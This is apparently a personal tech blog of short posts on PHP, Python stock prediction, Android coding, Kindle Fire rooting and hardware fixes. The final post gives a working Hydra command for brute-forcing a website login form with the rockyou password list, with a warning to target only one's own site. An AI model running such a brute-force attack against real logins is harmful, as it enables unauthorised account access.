PHP Set File Permissions

Recently, images uploaded to SpiderOnFire via the Widespread Augmented Reality app were suddenly writing to the server with permissions 0600. No es bueno, since these images need to be viewed in a web browser and on Android. Naturally, the server guys had no idea why the sudden deviation from the default upload permissions of 0644. Therefore I had to add "chmod($target_dir, 0644);" in all my upload and image resizing scripts. Seems to have fixed the issue, but I am sure that I have broken something else by going back in to change code that hasn't been touched in 4 years.

How to Be Anti-Social in Augmented Reality

Augmented Reality Heads Up Display

Communicate anonymously through an augmented reality heads up display for Android only. Download app from Google Play.

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Python Machine Learning on Amazon stock prices

This Python code reads Amazon's historical stock prices from 2014 to 2019. I downloaded the CSV file from Yahoo Finance. The chart below shows how well this algorithm predicts stocks prices when compared to actual stock prices. The code was cobbled together from snippets at Analytics Vidhya and Medium.

# importing libraries

import pandas as pd

import numpy as np

from datetime import date, datetime

import calendar

#importing required libraries

from sklearn.preprocessing import MinMaxScaler

from keras.models import Sequential

from keras.layers import Dense, Dropout, LSTM

# reading the data
df = pd.read_csv('amzn2.csv')


# looking at the first five rows of the data

print('\n Original data:')

print(df.head())

print('\n Shape of original data:')

print(df.shape)


# setting the index as date

df['Date'] = pd.to_datetime(df.Date,format='%Y-%m-%d')

df.index = df['Date']


#creating dataframe

data = df.sort_index(ascending=True, axis=0)

new_data = pd.DataFrame(index=range(0,len(df)),columns=['Date', 'Close'])

#populate new data frame

for i in range(0,len(data)):

    new_data['Date'][i] = data['Date'][i]

    new_data['Close'][i] = data['Close'][i]


#setting index

new_data.index = new_data.Date

new_data.drop('Date', axis=1, inplace=True)


#creating train and test sets

dataset = new_data.values

#the csv file has 1260 records

train = dataset[0:630,:]

valid = dataset[630:,:]


#converting dataset into x_train and y_train

scaler = MinMaxScaler(feature_range=(0, 1))

scaled_data = scaler.fit_transform(dataset)


x_train, y_train = [], []

for i in range(60,len(train)):

    x_train.append(scaled_data[i-60:i,0])

    y_train.append(scaled_data[i,0])

x_train, y_train = np.array(x_train), np.array(y_train)


x_train = np.reshape(x_train, (x_train.shape[0],x_train.shape[1],1))


# create and fit the LSTM network

model = Sequential()

model.add(LSTM(units=50, return_sequences=True, input_shape=(x_train.shape[1],1)))

model.add(LSTM(units=50))

model.add(Dense(1))


model.compile(loss='mean_squared_error', optimizer='adam')

model.fit(x_train, y_train, epochs=1, batch_size=1, verbose=2)


#predicting 246 values, using past 60 from the train data

inputs = new_data[len(new_data) - len(valid) - 60:].values

inputs = inputs.reshape(-1,1)

inputs  = scaler.transform(inputs)


X_test = []

for i in range(60,inputs.shape[0]):

    X_test.append(inputs[i-60:i,0])

X_test = np.array(X_test)


X_test = np.reshape(X_test, (X_test.shape[0],X_test.shape[1],1))

closing_price = model.predict(X_test)

closing_price = scaler.inverse_transform(closing_price)

rms=np.sqrt(np.mean(np.power((valid-closing_price),2)))

print('\n Root Mean Square Deviation:')

print(rms)

#for plotting

#plot

import matplotlib.pyplot as plt

train = new_data[:630]

valid = new_data[630:]

valid['Predictions'] = closing_price

plt.plot(train['Close'])

plt.plot(valid[['Close','Predictions']])

plt.show()

Victory Cross Country 2011 motorcycle stalling

Came to a stop okay, but then accelerated and the bike stalled like it was flooded but it's fuel injection. Rolled to a stop on a downwill slope and reastarted briefly. The engine light was on and it stalled again, never to restart. Battery working as evidenced by lights being on and pump priming. The culprit was a busted and dangling tip over sensor that cuts off the fuel supply when bike is on its side. Since the tip over sensor broke off and was dangling upside down, the bike was going no where fast. Must replace tip over sensor. Found one here.

Python and MySQL on the Kindle Fire HD 6 inch

I got a QPython IDE from here: ww.appsapk.com/qpython-python-for-android

MySQL and PHPMyAdmin came from here: www.apkfiles.com/apk-541908/android-web-server-kickweb-server-5-0

From pip console in the QPython app, I ran "pip install mysql-connector --index-url https://qpypi3.qpython.org/simple/.

At the time that you read this, the links may have changed, but the approach will be the same. Find a QPython apk that you can download from outside of Google Play, see if you can use the PIP console to install AI libraries, adjust the QPypi url in the settings if needed, get a web server app with MySQL and PHP, try to install mysql-connector and finally use the IDE to run data analysis on what ever you import into MySQL and scrub. There is a lot of hit and miss, because of the various apks that may be Chinese or Google versions and neither will work. You must find pure Android apks.

You may also need a fire extinguisher for when the Kindle Fire really does become fire and explodes while running all your clever little machine learning algorithms.

New UI for GPS Time Clock on Google Play

Try out your GPS time clock to keep field therapists honest. GPS Time Clock on Google Play

Python - Read MySQL Table and Format Output

# Using phpadmin to load mysql by importing from some of these sources
# http://www.cboe.com/delayedquote/quote-table
# https://datashop.cboe.com/option-quotes-end-of-day-with-calcs
# https://www.stock-data-solutions.com/download.htm
# https://www.worldtradingdata.com/services
import mysql.connector
optionsdb = mysql.connector.connect(
 host="localhost",
 user="root",
 #passwd=""
 database="CSV_DB"
 )
optionscursor = optionsdb.cursor()
optionscursor.execute("select convert(`expiration`, CHAR) as expiration, `option_type` as `T`,
 convert(`strike`, CHAR) as `strike`, convert(`delta_1545`, CHAR) as `delta`, convert(`vega_1545`,
 CHAR) as `vega`, convert(`theta_1545`, CHAR) as `theta` FROM `GREEKS` where `open_interest` > 50 and
 ABS(`delta_1545`) > .20 and ABS(`theta_1545`) < 1
 order by `expiration` asc, `option_type` asc, `strike` asc limit 100")
optionsresult = optionscursor.fetchall()
colheaders = []
colwidths = []
coldivider = '|'
colseparator = '+'
for names in optionscursor.description:
    colwidths.append(11)
    colheaders.append(names[0])
for w in colwidths: 
    coldivider += " %-"+"%ss |" % (w,)
    colseparator += '-'*w + '--+'
print(colseparator)
print(coldivider % tuple(colheaders))
print(colseparator)
for coldata in optionsresult:
 print(coldivider % coldata)

After running, one may get something that looks like this:

Still a Sucker for the Kindle Fire 6

At $15, I just had to replace the one that fell off the motorcycle. I just love the screen size and sturdiness of the device. As such, now I need to root the sucker in order to get rid of ads and install Google Play.
I enabled ADB through Device Options | Tap Serial # several times | Enable ADB; however, when I ran "adb devices" from a command prompt on Windows 10, the device listed as offline. Curious, I looked at the task manager to see where ADB.exe was running from. Lo and behold it is running from c:/adb.exe.
Now, I don't think that is the right adb.exe, so I delete it and find one under C:\Users\[me]\AppData\Local\Android\sdk\platform-tools.
I start that up and toggle the Enable ADB on the Kindle Fire.
Wallah. The device is now on-line, so I can try the invaluable advice presented at bilal.eltayara.net/blog/2015/07/23/unlock-full-android-power-to-your-amazon-fire-hd-6/

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Links to files needed

kindle-fire-updates.s3.amazonaws.com/update-kindle-20.4.5.3_user_453011120.bin

github.com/bil-t/fire-hd6-android

docs.google.com/uc?id=0B5VDSXB6iXSmTEQ3cnljNzJhZk0&export=download

SuperUser

TWRP apk for flashing recovery

Pico GAPPS

Desktop Flasher instead of TWRP

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Unformatted excerpt from Bilal's blog

Install Fire OS 4.5.3: Download the 4.5.3 firmware and the apk files Connect the tablet to computer and run the command adb reboot recovery Use volume keys and power button to navigate to Apply update from ADB From the computer type adb sideload update-kindle-20.4.5.3_user_453011120.bin From tablet select wipe data/factory reset From tablet select reboot system Complete setup (do not connect to a wifi network yet) Root the device: Install KingRoot and JmzFireHDTool: adb install KingRoot-4.1.0.249-release-nolog-201505211812_105001.apk adb install JmzFireHDTool_v4.apk Temporarily disable otaverify via adb adb shell pm block com.amazon.otaverifier Connect to wifi and open KingRoot on your tablet Press “try to root” Re-enable otaverifier adb shell pm unblock com.amazon.otaverifier Open JMZ Fire Tools and press Disable OTA's and Disable Ads (most importantly do not install Google apps from JMZ) Install a custom recovery: Install TWRP Manager adb install com.jmz.soft.twrpmanager-7.5.1.3.apk Install TWRP: Run TWRP Manager and give it superuser access when prompted. Say yes if it prompt to apply patch. Tap top-left of screen for slide-out menu and select Install TWRP. Confirm Device Name shows “ariel” and then tap Install Recovery. At warning screen, tap yes. Download the following to Fire’s Download folder (or download to computer and copy to Download folder). 4.5.4 update zip SuperSU update zip Pico GAPPS Update to 4.5.4 Turn off wifi. Boot to TWRP: Power off tablet. Hold down power and volume-up buttons at same time until you see “Amazon,” then release. Install the 4.5.4 update: Tap Install Navigate to Download folder and tap the zip (twrp_ready_update-kindle …) and swipe “swipe to confirm flash.” Tap Home and install the SuperSU update zip. Tap Reboot system. Boot to TWRP Install the GAPPS zip Wipe cache/dalvik and reboot system. Open JMZ Fire Tools and check if Disable OTA's and Disable Ads should be re-enabled. Now open Play Store and sign in. Everything should work now! (When prompted to update store and/or services. Say yes.)

Fix Scanner Failure Message on HP Officejet 4500 printer

After buying $50 worth of ink, my HP Officejet 4500 printer threw up a "Scanner Failure" error, rendering it useless. I took it out back to "fix it", but then decided to fix it. Basically, I had to remove the cover, the glass and then lift up the scanner bar and plop it back down on the track. Here are the visuals of that process.

Android FusedLocationProviderClient

In hopes of obtaining GPS location faster, I implemented the FusedLocationProviderClient and removed the old LocationManager.GPS_PROVIDER. Below is a snippet of the new simpler approach that I used in the latest update of Widespread Augmented Reality.

setContentView(R.layout.main);

wargps = (EditText) findViewById(R.id.wargps);

locbtn = (Button) findViewById(R.id.locbtn);

locbtn.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View v) {

FusedLocationProviderClient fusedLocationProviderClient = 
LocationServices.getFusedLocationProviderClient(getApplicationContext());


Task task = fusedLocationProviderClient.getLastLocation();

task.addOnSuccessListener(new OnSuccessListener () {

@Override

public void onSuccess(Location location) {

if(location!=null) {

wargps.setText(location.getLatitude()+" "+location.getLongitude());

locbtn.setText("Got Location");

}}});

}

});

Android Picasso vs s33me code

I spent several hours tweaking my own loading of images into an Android ListView. The problem was that the images would not load until I scrolled the screen and even then the lag was unacceptable.

My program performed the following:

Download a non indexed list of geotag data that includes the image URL into ArrayList rowdatalist

Loop through the rows in rowdatalist and Async create the bitmap from the image URL in each row

The customRowAdapter for the ListView will have a ViewHolder that sets the holder.imageView from the bitmap decoded from the URL.

Essentially, this produces statements like the following:
holder.imageView = (ImageView) convertView.findViewById(R.id.row_image);
holder.imageView.setImageBitmap(rowdata.getBitmap());
This is from inside the object rowdata

public Bitmap getBitmap() {

if (bitmapurl != null && !bitmapurl.equals("")) {

new ImageLoadAsync(context).execute(bitmapurl);

} else {

// default image if nothing from url

bitmap = BitmapFactory.decodeResource(context.getResources(), R.drawable.war4a);

}

return bitmap;

}

This is the background thread portion of the Async call:

@Override

protected Bitmap doInBackground(String... urls) {
            
String surl = urls[0];

Bitmap bm = null;

try {

URL imageUrl = new URL(surl);

bm = BitmapFactory.decodeStream(imageUrl.openStream());

} catch (IOException e) {

e.printStackTrace();

bm = BitmapFactory.decodeResource(context.getResources(), R.drawable.war4a);

}

return bm;

}

This is just a portion of the cumbersome code. As an experienced programmer, I should have known not to reinvent the wheel, but I just could not help myself

At the end of the day, this line of code replaced all that nonsense

Picasso.with(context).load(rowdata.getBitmapUrl()).into(holder.imageView);



			

HTML / CSS Freeze Page Header

I want to freeze the title portion of the page so that it is always visible while the main list of images scrolls freely below. See an example at augmented reality geotags.
Below is my code. The "bottom" and "top" parameters seem to be the key; however, be advised that I have not yet tested this on a variety of screen configurations.

#titlepane {

float:left;

background-color: #ffffff;

width:100%;

padding:10px;

bottom:65%;

position: fixed;

box-shadow: 8px 8px 10px #999999;

z-index:2;

}


#scrollbelowtitle {

position:fixed;

float: left;

clear:left;

top: 35%;

padding: 10px;

height: 500px;

width: 100%;

overflow-y: scroll;

z-index:1;

}

Hydra Command Line Arguments on Lenovo Yoga Book/Debian Linux.

Example of Hydra command line arguments that seem to be running through the iterations.

sudo hydra -l myusername -P /usr/share/dict/rockyou.txt -o output.txt thetarget.com http-post-form "/login.cfm RetURL=%2FDefault%2Easp%3F:login_name=^USER^&password=^PASS^:S=logout myusername" -vV -f

Replace myusername with your user name

Replace target.com with yourwebsite.com

Replace login_name with yourwebsite's variable for user name (Hint: View form source code)

Replace password with yourwebsite's variable name for password (Hint: View form source code)

Do not let this run through completion or to success if target.com is not a website that you own, unless you want to go to jail.